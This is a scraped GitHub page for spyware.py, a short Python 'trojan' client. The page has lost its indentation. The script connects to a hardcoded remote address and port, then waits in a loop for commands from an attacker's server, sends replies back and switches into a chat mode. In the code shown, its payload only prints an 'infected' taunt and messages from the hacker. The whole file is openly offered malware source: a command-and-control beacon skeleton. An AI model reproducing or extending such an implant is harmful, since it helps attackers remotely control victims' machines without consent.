-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathspyware.py
43 lines (31 loc) · 1.18 KB
/
spyware.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import socket
def trojan():
HOST = '192.168.43.78' # ip
PORT = 9090 # check if port is free
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((HOST, PORT))
mode = 'default'
def send_to_server(command, mode, message = False):
package = f'{command}#{mode}'
if message:
package += f'#{message}'
client.send(package.encode('utf-8'))
while True:
server_command = client.recv(1024).decode('utf-8')
message = False
if mode == 'default':
if server_command == 'infect':
print('\n\n\nYOU GOT INFECTED IHIHIHIH!')
elif server_command == 'chat on':
if mode == 'chat':
message = 'Chat mode is already on.'
else:
mode = 'chat'
message = 'Chat mode on.'
elif mode == 'chat':
if server_command == 'chat off':
mode = 'default'
message = 'Chat mode off.'
else:
print(f'hackers says: {server_command}')
send_to_server(server_command, mode, message)